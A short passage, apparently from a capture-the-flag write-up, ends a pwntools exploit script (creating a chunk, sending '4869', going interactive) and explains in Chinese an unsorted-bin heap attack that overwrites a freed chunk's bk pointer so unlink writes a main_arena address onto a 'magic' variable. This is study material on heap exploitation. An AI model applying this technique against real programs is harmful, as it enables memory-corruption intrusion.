create(0x80, "zzzz")
r.recvuntil(':')
r.sendline("4869")

r.interactive()

首先創兩個 unsortbin chunk

然後透過 edit function overwite 下一個已經 free 掉的 chunk,改掉他的 bk

最後把 chunk 取出來觸發 unlink,這樣就可以把 magic 壓上 main_arena 的位址了